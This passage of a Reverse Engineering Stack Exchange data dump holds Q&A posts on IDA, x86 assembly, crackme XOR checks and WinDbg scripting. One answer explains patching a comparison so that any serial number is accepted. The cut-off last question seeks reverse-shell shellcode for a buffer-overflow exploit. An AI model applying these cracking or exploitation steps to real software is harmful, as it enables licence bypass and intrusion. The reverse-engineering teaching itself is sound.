struct:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000 custom_sturct   struc ; (sizeof=0xF14)&#xA;00000000                 db ? ; undefined&#xA;00000001                 db ? ; undefined&#xA;00000002                 db ? ; undefined&#xA;[...same stuff...]&#xA;00000F11                 db ? ; undefined&#xA;00000F12                 db ? ; undefined&#xA;00000F13 field_F13       db ?&#xA;00000F14 custom_sturct   ends&#xA;00000F14&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using IDA Pro 6.3&lt;/p&gt;&#xA;" OwnerUserId="13061" LastEditorUserId="2147" LastEditDate="2016-09-12T00:08:59.953" LastActivityDate="2016-09-29T08:31:52.467" Title="How to apply IDA structure to a pointer of a structure" Tags="|ida|struct|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="9486" PostTypeId="2" ParentId="9484" CreationDate="2015-07-28T22:27:47.020" Score="0" Body="&lt;p&gt;For the refs, you can sort the list of xrefs and look only at a specific group:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wbUjK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wbUjK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the string ref thing, you should put a hardware breakpoint on access on the string, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DfS8h.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DfS8h.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4750" LastActivityDate="2015-07-28T22:27:47.020" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9488" PostTypeId="2" ParentId="9484" CreationDate="2015-07-29T06:51:59.860" Score="2" Body="&lt;p&gt;You'll need to learn IDAPython if you want to automate things in IDA.&#xA;For your specific task, here is an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; # I didn't check this code, use carefully, beware of errors&#xA;&#xA;import idc&#xA;import idaapi&#xA;import idautils&#xA;&#xA;def set_breakpoints_on_refs(ea):&#xA;    list_of_referencing_functions = [&quot;All&quot;]&#xA;    print &quot;In setting bp ...&quot;&#xA;    for ref in idautils.DataRefsTo(ea):&#xA;        func_name = idaapi.get_func_name(ref)&#xA;        if not func_name is None and not func_name in list_of_referencing_functions:&#xA;            list_of_referencing_functions.append(func_name)&#xA;    print &quot;refrlist done&quot;, list_of_referencing_functions&#xA;    width = 0&#xA;    for r in list_of_referencing_functions:&#xA;       if len(r) &amp;gt; width:&#xA;           width = len(r)&#xA;&#xA;    ch = idaapi.Choose(list_of_referencing_functions, &quot;Choose a function&quot;, 1 )&#xA;    ch.width = width&#xA;    print &quot;Chooser created&quot;&#xA;    res = ch.choose()&#xA;    if res &amp;gt; 0:&#xA;        print &quot;selected ...&quot;, &#xA;        chosen = ch.list[res -1]&#xA;        print chosen&#xA;        set_at_all = False&#xA;        if chosen == &quot;All&quot;:&#xA;            set_at_all = True&#xA;&#xA;        for ref in idautils.DataRefsTo(ea):&#xA;            if set_at_all:&#xA;                idc.AddBpt(ref)&#xA;                continue&#xA;            func_name = idaapi.get_func_name(ref)&#xA;            if func_name == chosen:&#xA;                idc.AddBpt(ref)&#xA;&#xA;&#xA;def set_breakpoints_on_refs_to_screen_ea():&#xA;    print &quot;Started&quot;&#xA;    set_breakpoints_on_refs(idc.ScreenEA())&#xA;&#xA;idaapi.add_hotkey(&quot;Alt-Y&quot;, set_breakpoints_on_refs_to_screen_ea)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Running this code from execute script window will register hotkey &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;Y&lt;/kbd&gt; that will do the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;will get the current screen ea (let's assume that you placed the cursor on desired string), &lt;/li&gt;&#xA;&lt;li&gt;create a list of functions that containing references to this ea&lt;/li&gt;&#xA;&lt;li&gt;will ask you to choose one of them or all&lt;/li&gt;&#xA;&lt;li&gt;and will set breakpoints on corresponding  references (all or in chosen function)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2015-07-29T06:51:59.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9489" PostTypeId="1" AcceptedAnswerId="9490" CreationDate="2015-07-29T07:53:30.593" Score="0" ViewCount="1216" Body="&lt;p&gt;I am currently a newbie to assembly. I was looking at a disassembled program and I was wondering:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does this do?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;arg_0 dd 5&#xA;&#xA;cmp [ebp+arg_0],1Eh     ; Subtract the two values - flag either 0 or 1&#xA;jnz short loc_blahblah  ; if flag is 0 then jump&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know that it is comparing the two values by subtracting them and keeping the flags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However when I click on the cmp instruction it shows me : &lt;code&gt;[ebp+arg_0]=00000005&lt;/code&gt; . Is this a memory address? Or is it the new value stored within the stack?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried making the cmp instruction result in a flag 0, however I can't seem to be able to do it. Could you explain this in simple terms? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S: If this is a little vague, I do apologies as I myself am a little confused.&lt;/p&gt;&#xA;" OwnerUserId="13134" LastActivityDate="2015-07-29T08:33:57.690" Title="Disassembly: Question regarding CMP within a stack?" Tags="|ida|disassembly|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9490" PostTypeId="2" ParentId="9489" CreationDate="2015-07-29T08:33:57.690" Score="0" Body="&lt;p&gt;Your &lt;code&gt;arg_0 dd 5&lt;/code&gt; seems a bit confusing to me as well, since, if that was an assembler instruction, it would define a global variable, not a stack position. Stack positions aren't initialized at compile time or program start, they get used when a program calls a subroutine. So i'll assume you copied this somehow when the program was running, not from the disassembly itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a subroutine is called, the caller pushes the arguments on the stack - i'll assume a single argument here, and let's assume the value is &lt;code&gt;5&lt;/code&gt;. At this moment the stack looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;+----------+&#xA;| 00000005 |&#xA;+----------+     &amp;lt;--- esp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, the caller executes the call instruction, which puts the return address onto the stack, and jumps to your subroutine. Now, the stack looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;+----------+&#xA;| 00000005 |&#xA;+----------+&#xA;| ret.addr |&#xA;+----------+     &amp;lt;--- esp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(note the stack grows from high addresses to low addresses on x86 processors, newer entries are below older ones)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the called subroutine normally starts with saving the old value of &lt;code&gt;ebp&lt;/code&gt; by pushing it to the stack, moving the stack pointer to &lt;code&gt;ebp&lt;/code&gt;, and subtracting a small value from &lt;code&gt;esp&lt;/code&gt; to make room for local variables.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;+----------+&#xA;| 00000005 |&#xA;+----------+&#xA;| ret.addr |&#xA;+----------+&#xA;| old_ebp  |&#xA;+----------+     &amp;lt;--- ebp&#xA;|          |&#xA;|  .....   |&#xA;+----------+     &amp;lt;--- esp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So within the subroutine, the argument is always 8 bytes &quot;above&quot; the current value of &lt;code&gt;ebp&lt;/code&gt;, while the distance to &lt;code&gt;esp&lt;/code&gt; varies, depending on how much space local variables need, and how stuff is pushed to the stack within the subroutine. Which is why parameters are accessed by indexing relative to &lt;code&gt;ebp&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your &lt;code&gt;cmp&lt;/code&gt; instruction compares that value from the stack with the number &lt;code&gt;0x1e&lt;/code&gt;, or &lt;code&gt;30&lt;/code&gt; decimal. The processor fetches the &lt;code&gt;5&lt;/code&gt; from its location on the stack, subtracts 30 from it, throws away the result (&lt;code&gt;-25&lt;/code&gt;), and executes the jump instruction depending on whether or not the result was &lt;code&gt;0&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer the first question: The &lt;code&gt;5&lt;/code&gt; is not the &lt;em&gt;new&lt;/em&gt; value within the stack, it's the value that was on the stack before the instruction, and is still on the stack as the instruction didn't change it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if you want the &lt;code&gt;cmp&lt;/code&gt; instruction to result in a set zero flag, you'll have to make the result of the subtraction 0 - which means you need to make the result of &lt;code&gt;5-30&lt;/code&gt; zero. To do this, you have two possibilities - either, change the 5 to a 30, or, change the 30 to a 5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first approach - changing the 5 to a 30 - is what you use when you're debugging your own program. Assume you noticed your program doesn't work as intended, your start a debugger, run a part of the program, and notice at a certain point in your program that a variable is 5 when you'd expect it to be 30. Obviously, something went wrong up to this point. But if you want to check if the rest of the program works, you'd like to edit the variable in place - which means, change the content of the memory location to 30, then continue running the program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second approach - changing the 30 to a 5 - is used when hacking programs that aren't your own. Assume a program that requires a registration number to be entered. You enter a random number - 12345678, debug the program, notice the digits are mangled somehow, and the result of this mangling is 5. The code you disassembled shows you need a 30 instead of the 5, but you don't know which combination of digits yields that 30. So what do you do? You change the &lt;code&gt;cmp [ebp+arg_0],1Eh&lt;/code&gt; to &lt;code&gt;cmp [ebp+arg_0],05h&lt;/code&gt;, save back that patched program, and suddenly your 12345678 will be a valid serial number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to &quot;make the cmp instruction result in a flag 0&quot;, you'll either have to modify the stack memory to turn the &lt;code&gt;5&lt;/code&gt; into a &lt;code&gt;0x1e&lt;/code&gt;, or you'll have to modify the program code to turn the &lt;code&gt;cmp [ebp+arg_0],1Eh&lt;/code&gt; into a &lt;code&gt;cmp [ebp+arg_0],05h&lt;/code&gt;. Since you don't specify what exactly your use case is, i can't tell you which of them is what you need.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-07-29T08:33:57.690" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9492" PostTypeId="1" AcceptedAnswerId="9493" CreationDate="2015-07-29T13:39:47.953" Score="3" ViewCount="579" Body="&lt;p&gt;I am analyzing a piece of malware that has a sequence of instructions with &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;prefix repne&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0047094C  |.  8B0D 34935E00       |MOV ECX,DWORD PTR DS:[5E9334]&#xA;00470952  |.  F2:                 |PREFIX REPNE:&#xA;00470953  |.  0F2AC1              |CVTPI2PS XMM0,MM1&#xA;00470956  |.  F2:                 |PREFIX REPNE:&#xA;00470957  |.  0F100D 88905E00     |MOVUPS XMM1,DQWORD PTR DS:[5E9088]&#xA;0047095E  |.  F2:                 |PREFIX REPNE:&#xA;0047095F  |.  0F5CC8              |SUBPS XMM1,XMM0&#xA;00470962  |.  F2:                 |PREFIX REPNE:&#xA;00470963  |.  0F2CD1              |CVTTPS2PI MM2,XMM1&#xA;00470966  |.  8915 5C925E00       |MOV DWORD PTR DS:[5E925C],EDX&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;what's strange however is when Im debugging, the instructions immediately following the prefix repne are skipped (when single stepped). My instincts tell me it is just junk code but I want to make sure that something else isn't happening as I have to rewrite this particular function (there's plenty more sse instructions that are used)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone can shed some light, I'd appreciate it. Thank you&lt;/p&gt;&#xA;" OwnerUserId="1876" LastActivityDate="2015-07-29T16:30:21.593" Title="Prefix REPNE instruction" Tags="|disassembly|assembly|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9493" PostTypeId="2" ParentId="9492" CreationDate="2015-07-29T16:30:21.593" Score="6" Body="&lt;p&gt;The prefixes are not junk - they are an override for the original instruction, to produce a new instruction.  Your disassembler is apparently not aware of SSE2 instructions, and separates them instead.  The disassembly should read like this:&#xA;&lt;code&gt;&#xA;0047094C  |.  8B0D 34935E00       |MOV ECX,DWORD PTR DS:[5E9334]&#xA;00470952  |.  F20F2AC1            |CVTSI2SD XMM0,ECX&#xA;00470956  |.  F20F100D 88905E00   |MOVSD XMM1,DQWORD PTR DS:[5E9088]&#xA;0047095E  |.  F20F5CC8            |SUBSD XMM1,XMM0&#xA;00470962  |.  F20F2CD1            |CVTTSD2SI EDX,XMM1&#xA;00470966  |.  8915 5C925E00       |MOV DWORD PTR DS:[5E925C],EDX&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2015-07-29T16:30:21.593" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9495" PostTypeId="1" CreationDate="2015-07-30T06:31:52.667" Score="1" ViewCount="2446" Body="&lt;p&gt;I'm trying to understand exactly what is happening in the below loop. I've commented in what I &lt;em&gt;believe&lt;/em&gt; is happening. I came to these conclusions by googling every op code and trying to understand what it means in addition to running the code in ImmunityDebugger and observing behavior. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if that is the most efficient means of research. Please let me know if there are other best practices for discovering functionality of relatively small selections of code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What happens at memory address &lt;code&gt;00401053&lt;/code&gt;? What does XOR do in this case?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0040104B  |. 31C9           XOR ECX,ECX&#xA;0040104D  |&amp;gt; 8A81 58214000  /MOV AL,BYTE PTR DS:[ECX+402158] ;Move first byte of [ECX+402158] into AL&#xA;00401053  |. 34 7D          |XOR AL,7D                       ;Not sure what this means&#xA;00401055  |. 3A81 40214000  |CMP AL,BYTE PTR DS:[ECX+402140] ;Compare AL with the first byte of [ECX+402140]&#xA;0040105B     75 1E          |JNZ SHORT i_am_hap.0040107B     ;Jump out of loop if not zero &amp;lt;&amp;lt; What does that mean?&#xA;0040105D  |. 41             |INC ECX                         ;increment ECX value&#xA;0040105E  |. 83F9 18        |CMP ECX,18                      ;loop runs 18 times&#xA;00401061    ^7C EA          \JL SHORT i_am_hap.0040104D      ;If above CMP fails restart the loop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user2981" LastActivityDate="2015-07-30T11:34:02.223" Title="What does this XOR do?" Tags="|disassembly|x86|immunity-debugger|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9496" PostTypeId="2" ParentId="9495" CreationDate="2015-07-30T06:42:03.903" Score="6" Body="&lt;p&gt;&lt;strong&gt;Loop&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, when you say &quot;loop runs 18 times&quot;, it is 0x18 times (hexa), actually, so 16+8=24 times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Xor&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;XOR operand1, operand2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is nothing more than a logical XOR (11=&gt; 0, 10=&gt; 1, 01=&gt; 1, 00=&gt; 0).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here it would be AL = AL XOR 01111101.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &lt;strong&gt;24 bytes string&lt;/strong&gt; is likely &lt;strong&gt;stored at 0x402158&lt;/strong&gt; and is XORed with 0x7d. I say 24 bytes because this code loops 24 times, ECX being incremented each time, and the XORed byte is located at ECX+0x402158.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It means that every byte &lt;strong&gt;from 0x402158 to 0x402158 + 0x18&lt;/strong&gt; (0x402158 -&gt; 0x402170) will be XORed with 0x7d.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;JNZ&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding your next question :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Jump out of loop if not zero &amp;lt;&amp;lt; What does that mean?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The JNZ operand is following a comparison (CMP). Under the hood, CMP is no more than a subtraction. If subtraction result equals zero, then Zero Flag (ZF) is set to one. JNZ operand (Jump if Not Zero) only jumps if ZF is set to 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This being said, I thing you can figure out what is going on here. There is a string being XORed with 0x7d char after char. Every time a char is XORed, it's compared with another string located at 0x402140. If XORed char is different from the one in this string, then JNZ jumps. Pseudo C code would look like this :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Code edited thanks to Guntram Blohm comment&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;char chr;&#xA;int i;&#xA;char check[]=&quot;\x2a\x18\x11\x11\x5d\x19\x12\x13\x18\x5d\x30\x14\x0e\x09\x18\x0f\x5d\x3‌​5\x1c\x1e\x16\x13\x19\x12&quot;&#xA;for (i=0; i&amp;lt;24; i++) {&#xA;    argv[1][i] ^= '\x7d';&#xA;    if (argv[1][i] != check[i]) {&#xA;        break;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13108" LastEditorUserId="13108" LastEditDate="2015-07-30T08:28:39.210" LastActivityDate="2015-07-30T08:28:39.210" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9498" PostTypeId="1" CreationDate="2015-07-30T08:05:46.250" Score="3" ViewCount="894" Body="&lt;p&gt;I am not sure if this is the right forum, or if it would be better suited in a different SE sub, though I figure this is an appropriate place for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am wondering if there are any emulators that are capable of running a flash dump directly that targets the same architecture on the device it was dumped from? So for instance, if the dump was taken from a device(via JTAG) running a Broadcom MIPS CPU, and it contained the entire system(bootloader, firmware, filesystem, NVRAM, etc.) is there anything where I could mount(or should I say, load it into memory) the raw image directly, memory and all, and run it, similar to how I could flash it onto a different device with the same chip?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been looking into different software such as OVPsim(which is a &quot;full system simulator&quot; and Qemu, though I am unsure if they can run the full dump directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone shed some light on this, it can be confusing looking at everything.&lt;/p&gt;&#xA;" OwnerUserId="2806" LastActivityDate="2015-07-30T09:43:54.270" Title="Is it possible to run a flash memory dump from a production device inside of an emulator/simulator?" Tags="|debugging|hardware|mips|jtag|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9499" PostTypeId="1" CreationDate="2015-07-30T09:20:35.523" Score="0" ViewCount="168" Body="&lt;p&gt;I am looking for a way to simplify functions accelerated by math kernel libraries ...is there any way to make flair signature out of them to understand it better. For instance, I want to get the original data structure or math function for this code (e.g sin or cos or array in math kernel)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;do&#xA;      {&#xA;        v18 = (__m128i)_mm_cmpneqps(&#xA;                         _mm_unpacklo_ps(&#xA;                           _mm_unpacklo_ps((__m128)*(_DWORD *)(v17 + 160), (__m128)*(_DWORD *)(v17 + 240)),&#xA;                           _mm_unpacklo_ps((__m128)*(_DWORD *)(v17 + 200), (__m128)*(_DWORD *)(v17 + 280))),&#xA;                         0LL);&#xA;        v16 += 8LL;&#xA;        v19 = _mm_sub_epi32(&#xA;                0LL,&#xA;                (__m128i)_mm_cmpneqps(&#xA;                           _mm_unpacklo_ps(&#xA;                             _mm_unpacklo_ps((__m128)*(_DWORD *)v17, (__m128)*(_DWORD *)(v17 + 80)),&#xA;                             _mm_unpacklo_ps((__m128)*(_DWORD *)(v17 + 40), (__m128)*(_DWORD *)(v17 + 120))),&#xA;                           0LL));&#xA;        v17 += 320LL;&#xA;        v15 = _mm_add_epi32(_mm_add_epi32(v15, v19), _mm_sub_epi32(0LL, v18));&#xA;      }&#xA;      while ( v16 &amp;lt; v14 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This was created by libmmd.dll 11.1&lt;/p&gt;&#xA;" OwnerUserId="12628" LastEditorUserId="12628" LastEditDate="2015-07-30T16:08:25.307" LastActivityDate="2015-07-30T16:08:25.307" Title="Math kernel library applications" Tags="|ida|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9500" PostTypeId="2" ParentId="9498" CreationDate="2015-07-30T09:43:54.270" Score="4" Body="&lt;p&gt;In order to boot from the image you'd need to figure out the hardware configuration of the device. That is what peripherals are mapped where, their operation and registers. Without a specification for both the SOC you're dealing with and the hardware board you're going to have to reverse engineer the firmware of the device. This will allow you to figure out how the software expects the hardware to behave. As QEMU has MIPS support, you can then make QEMU emulate said peripherals. The mode you're after under QEMU is called system emulation. The combination of peripherals is generally referred to as a board. You need to set up a board which matches the device you took the dump from or one which is at least compatible with the support compiled into the boot loaders and kernel. Hopefully you're dealing with some Linux based system and the manufacturer is GPL compliant so that you can download the source code of the software running on the device.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Figuring out everything in order to create an emulated environment that can boot your entire image can be a lot of work. I would say we could be talking years of reverse engineering and implementation work depending on what level of documentation you have available. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are companies that specialize in creating this sort of emulation environment, such as &lt;a href=&quot;http://www.lauterbach.com/&quot; rel=&quot;nofollow&quot;&gt;Lauterbach&lt;/a&gt;. Setting up an environment using commercially available tools can be very expensive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt; This is going to be a lot of work and is probably not worth it. You may want to look into using a small subset of your image instead. Such as maybe the data partitions and not the full kernel.&lt;/p&gt;&#xA;" OwnerUserId="70" LastActivityDate="2015-07-30T09:43:54.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9501" PostTypeId="2" ParentId="9495" CreationDate="2015-07-30T10:25:37.630" Score="0" Body="&lt;p&gt;the snippet is functionally equivalent to this powershell script&lt;/p&gt;&#xA;&#xA;&lt;p&gt;copy paste to file.ps1 and run it like  &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;powershell -f file.ps1 &quot;&amp;lt;guessed password&amp;gt;&quot;&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$402140=$args[0].tochararray();&#xA;$402158=@(13,28,14,14,10,18,15,25,93,20,14,93,14,24,30,15,24,9,93,31,28,31,4)&#xA;$ecx=0;&#xA;do{$al=(($402158[$ecx]) -bxor 0x7d);&#xA;if($al-ne$402140[$ecx]) {&quot;bad pass&quot;;Throw;}&#xA;$ecx++;&#xA;}while($ecx-lt$402158.length)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote class=&quot;spoiler&quot;&gt;&#xA;  &lt;p&gt; $p=&quot;&quot;;13,28,14,14,10,18,15,25,93,20,14,93,14,24,30,15,24,9,93,31,28,31,4|%&#xA; {$p+=&quot;{0}&quot; -f [char]($_-bxor 0x7d)};$p&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2015-07-30T11:34:02.223" LastActivityDate="2015-07-30T11:34:02.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9504" PostTypeId="1" AcceptedAnswerId="9505" CreationDate="2015-07-30T18:50:44.290" Score="2" ViewCount="465" Body="&lt;p&gt;Debugging an application's use of msvcrt!_read. Found a nifty Windbg script online &lt;a href=&quot;http://reversingonwindows.blogspot.com/2012/02/finding-appropriate-readfile.html&quot; rel=&quot;nofollow&quot;&gt;Reversing on Windows: intercepting ReadFile&lt;/a&gt; that I lightly edited:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$$ Windbg script to intercept when a file is being read.&#xA;bp msvcrt!_read&#xA;.while(1)&#xA;{&#xA;  g&#xA;  $$ Get parameters of _read()&#xA;  r $t0 = dwo(esp+4)&#xA;  r $t1 = dwo(esp+8)&#xA;  r $t2 = dwo(esp+0x0c)&#xA;&#xA;  $$ Execute until return is reached&#xA;  pt&#xA;&#xA;  $$ Read magic value in the buffer&#xA;  $$ CHANGE position in buffer here&#xA;  r $t5 = dwo(@$t1+0x00)&#xA;  r&#xA;  .printf &quot;hFile=%p buffer=%p count=%p\n&quot;, @$t0, @$t1, @$t2&#xA;&#xA;  $$ Check if magic value matches&#xA;  $$ CHANGE constant here&#xA;  db @$t1 $$ had to put this here b/c .if never executed 'clause'&#xA;  .if(@$t5 == 0x00000000) $$magic string&#xA;  {&#xA;    db @$t1&#xA;&#xA;    $$ UNCOMMENT below to break in the debugger&#xA;    .break&#xA;  }&#xA;}&#xA;&#xA;$$ Clear BP for ReadFile (assume it is the 0th one)&#xA;bc 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried using the following 'magic string' of bytes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;77 30 30 66&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.if(@$t5 == 0x77303066) $$magic string&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, it never meets that condition. Most frustrating part is that I see the magic string when the script runs the 'db@$t1' &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;eax=00000400 ebx=02895cc4 ecx=75b7c2d6 edx=771f70f4 esi=017d0ab8 edi=028b2534&#xA;eip=75b7c2d6 esp=03d2fbec ebp=00000003 iopl=0         nv up ei pl zr na pe nc&#xA;cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246&#xA;msvcrt!_read+0xd1:&#xA;75b7c2d6 c3              ret&#xA;hFile=00000003 lpBuffer=05f30020 nNumberOfBytesToRead=00000400&#xA;05f30020  77 30 30 66 00 00 00 2e-00 00 00 00 00 00 00 00  w00f............&#xA;05f30030  00 2e 2e 2e 2e 2e 00 00-00 2e 00 00 00 2e 2e 00  ................&#xA;05f30040  00 2e 2e 00 00 00 04 00-00 00 2e 2e 00 00 2e 2e  ................&#xA;05f30050  00 00 2e 2e 00 00 00 00-00 00 00 00 00 00 01 2e  ................&#xA;05f30060  00 2e 00 2e 2e 2e 2e 2e-00 00 00 2e 00 00 00 2e  ................&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've also tried changing the magic string in the wds script to little endian, still doesnt work though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How may I format the if statement to trigger in the above script using the magic string 'w00f?' &lt;/p&gt;&#xA;" OwnerUserId="10058" LastActivityDate="2015-07-30T18:59:14.263" Title="Windbg Scripting Issue" Tags="|windows|windbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9505" PostTypeId="2" ParentId="9504" CreationDate="2015-07-30T18:59:14.263" Score="4" Body="&lt;p&gt;The first four bytes of the file (&lt;code&gt;77&lt;/code&gt; &lt;code&gt;30&lt;/code&gt; &lt;code&gt;30&lt;/code&gt; &lt;code&gt;66&lt;/code&gt;) will be read into &lt;code&gt;@$t5&lt;/code&gt; in little-endian format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So &lt;code&gt;.if(@$t5 == 0x77303066)&lt;/code&gt; should be &lt;code&gt;.if(@$t5 == 0x66303077)&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-07-30T18:59:14.263" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9506" PostTypeId="1" AcceptedAnswerId="9508" CreationDate="2015-07-30T19:15:51.533" Score="1" ViewCount="1069" Body="&lt;p&gt;I'm working on exploiting a simple 64 bit linux binary. I got control of RIP by exploiting a buffer overflow and using a jmp rsp to get control of the progrm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I'm having trouble with the shellcode piece. I'm not savvy enough to write my own, so I've been using some I found online. The shellcode needs to get me a reverse shell on port 4444.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just for testing though, I tried some basic shellcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Works - &lt;a href=&quot;http://shell-storm.org/shellcode/files/shellcode-806.php&quot; rel=&quot;nofollow&quot;&gt;http://shell-storm.org/shellcode/files/shellcode-806.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doesn't work - &lt;a 